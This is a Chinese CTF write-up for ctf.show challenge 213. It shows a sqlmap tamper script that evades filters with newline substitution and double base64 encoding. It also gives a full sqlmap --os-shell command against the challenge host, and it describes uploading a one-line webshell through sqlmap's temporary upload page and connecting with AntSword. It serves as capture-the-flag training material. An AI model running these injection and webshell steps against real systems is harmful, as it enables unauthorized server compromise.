我看213没人上传wp,可能是师傅们觉得太简单。
-os-shell的使用,首先结合我们上面的脚本(y4师傅的tamper脚本)先检测注入点之后,直接跟上-os-shell。
#!/usr/bin/env python
"""
Author:Y4tacker
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload = space2comment(payload)
payload = encode(payload)
return payload
def encode(payload):
payload = base64.b64encode(payload[::-1].encode('utf-8'))
payload = base64.b64encode(payload[::-1]).decode('utf-8')
return payload
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == "*":
retVal += chr(0x31)
continue
elif payload[i] == "=":
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
python3 sqlmap.py -u http://ce82f3d1-c5e0-4b55-98d7-ea5a58aae004.challenge.ctf.show:8080/api/index.php --data="id=1" --refer="ctf.show" --headers="Content-Type: text/plain" --method=PUT --safe-url=http://ce82f3d1-c5e0-4b55-98d7-ea5a58aae004.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper "1234" --os-shell
提示我们选择网站语言,直接php,随后提示我们注入成功。
接下来我们可以选择2然后输入我们知道的题目的绝对路径,他给我们提示了一般都是什么,也可以输入1根据sqlmap自动进入正确存在的路径。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ke5R713z-1623402262889)(…/AppData/Roaming/Typora/typora-user-images/image-20210611170145263.png)]
查看当前目录下的文件我们可以发现多了几个tmp开头的,这个就是sqlmap注入成功的显示,我们选择一个页面访问就会发现这是一个文件上传的页面,直接一句话木马蚁剑连接,方便找flag一点。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vMViXTCX-1623402262890)(…/AppData/Roaming/Typora/typora-user-images/image-20210611170301850.png)]